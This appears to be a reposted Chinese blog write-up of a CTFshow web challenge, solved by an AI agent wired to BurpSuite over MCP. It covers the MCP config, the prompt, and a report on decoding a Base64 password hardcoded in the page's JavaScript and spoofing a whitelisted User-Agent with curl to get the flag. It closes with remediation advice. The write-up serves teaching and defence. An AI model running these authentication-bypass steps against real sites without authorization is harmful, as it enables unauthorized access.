BurpSuite+AI渗透测试(一):HTTP头注入

admin 2026-06-04 04:13:52 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档记录了一次CTFWeb题的渗透测试过程,通过前端源码分析发现Base64硬编码密码漏洞,解码后结合服务器返回的User-Agent白名单信息,伪造请求头成功绕过验证获取Flag。核心结论为客户端存储凭据和依赖HTTP头校验均存在安全风险,建议将认证逻辑完全移至服务端并避免信息泄露。 综合评分: 83 文章分类: 渗透测试,WEB安全,漏洞分析,CTF,安全工具


cover_image

BurpSuite+AI渗透测试(一):HTTP头注入

原创

yushao yushao

Web安全工具库

2026年6月2日 09:24 河南

在小说阅读器读本章

去阅读

一、BurpSuite安装MCP server

二、配置MCP服务

"burp": {      "type": "sse",      "url": "http://127.0.0.1:9876",      "disabled": false    }

三、提示词

你现在是一名顶级 CTF Web 安全研究员。题目链接 *****.ctf.show/,目标:分析并解出下面这道 CTF Web 题目并输出Flag给我

渗透测试报告

目标系统: CTFshow Web Challenge 目标 URL: https://********.ctf.show/ 测试日期: 2026年6月2日 报告类型: CTF 挑战赛渗透测试记录


一、测试概述

本次测试针对 CTFshow 平台一道 Web 方向题目,目标为通过分析 Web 应用的认证逻辑,绕过其多层验证机制,最终获取 Flag。测试过程中共发现两处安全漏洞:前端硬编码密码(Base64 编码)与服务器端 User-Agent 白名单校验。

最终 Flag: CTF{u*******s}


二、侦察与信息收集

2.1 目录枚举

对目标站点常见路径进行探测,结果如下:

| 路径 | HTTP 状态码 | 备注 | | — | — | — | | index.php | 200 | 主登录页面,存在有效内容 | | robots.txt | 404 | 不存在 | | .git/HEAD | 404 | 无源码泄露 | | .env | 404 | 无环境变量泄露 | | flag.php | 404 | 不存在 | | config.php | 404 | 不存在 | | admin.php | 404 | 不存在 |

有效入口仅为 index.php,攻击面集中于登录表单。

2.2 前端源码分析

审计 index.php 返回的 HTML/JavaScript 代码,发现登录逻辑完全在客户端实现,且存在硬编码的 Base64 密码字符串:

const correctPassword = "Q1*******Q==";

// 前端校验逻辑
if (btoa(enteredPassword) === correctPassword) {
    // 提交到服务器
}

对该 Base64 字符串进行解码:

$ echo "Q1R*******0fQ==" | base64 -d
CTF{ea*****4}

得到第一层密码: CTF{e*****64}


三、漏洞利用

3.1 漏洞一:前端硬编码凭据(Base64 明文存储)

漏洞描述: 应用将正确密码以 Base64 编码形式直接嵌入前端 JavaScript,Base64 并非加密手段,任何人均可轻易解码还原原始密码。

利用步骤: 直接使用解码后的密码向 check.php 发起 POST 请求。

curl -s -k -X POST \
  "https://******.ctf.show/check.php" \
  -d "username=admin&password=CTF{e*****}" -i

服务器响应(节选):

<div class="message error">Invalid User-Agent</div>
<div class="message info">
&nbsp; &nbsp; You must use "ctf-show-brower" browser to access this page
</div>

密码验证通过,但服务器端存在第二层校验——User-Agent 白名单限制。错误信息同时将白名单值 ctf-show-brower 直接暴露在响应体中,属于信息过度泄露。


3.2 漏洞二:User-Agent 请求头伪造绕过

漏洞描述: 服务器通过检查 HTTP 请求头中的 User-Agent 字段来判断客户端合法性,将安全策略建立在客户端可任意篡改的请求头上,属于不可信的安全控制。攻击者可以在任意 HTTP 客户端中手动指定该头部,完全绕过此限制。

此外,错误响应直接将白名单值 ctf-show-brower 回显给用户,主动泄露了绕过所需的关键信息。

利用步骤: 在请求中附加 User-Agent: ctf-show-brower 头部重新发起请求。

curl -s -k -X POST \
&nbsp;&nbsp;"https://*.ctf.show/check.php"&nbsp;\
&nbsp; -d&nbsp;"username=admin&password=CTF{e*********4}"&nbsp;\
&nbsp; -H&nbsp;"User-Agent: ctf-show-brower"&nbsp;-i

服务器响应(节选):

<div class="message success">
&nbsp; &nbsp; Login successful! Flag: CTF{u********s}
</div>

两层验证均已绕过,成功获取 Flag。


四、漏洞汇总

| 编号 | 漏洞名称 | 严重程度 | 位置 | | — | — | — | — | | VUL-01 | 前端硬编码凭据(Base64) | 高危 | index.php JavaScript | | VUL-02 | User-Agent 白名单校验可绕过 | 中危 | check.php 服务端逻辑 | | VUL-03 | 错误响应信息过度泄露 | 低危 | check.php 错误提示 |


五、修复建议

针对 VUL-01: 密码校验逻辑必须在服务器端执行,前端不应包含任何与凭据比对相关的代码或数据。无论使用何种编码方式(Base64、Hex 等),将凭据存放于客户端都是不安全的。

针对 VUL-02: User-Agent 等 HTTP 请求头均由客户端控制,不能作为安全校验依据。若需限制访问来源,应结合 IP 白名单、Session Token、API Key 等服务端可信机制实现。

针对 VUL-03: 错误提示应采用通用措辞(如”认证失败”),避免向用户透露具体的校验逻辑或白名单内容,以防止为攻击者提供绕过线索。


本题的核心考点是:不要将任何安全逻辑或凭据放在客户端,以及HTTP 请求头不可作为身份验证的可信依据。两个漏洞单独来看危害有限,但组合利用后可完整绕过认证体系。

·今 日 鉴 图·

| | | | — | — | | | |


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Web安全工具库 yushao yushao《BurpSuite+AI渗透测试(一):HTTP头注入》

评论:0   参与:  0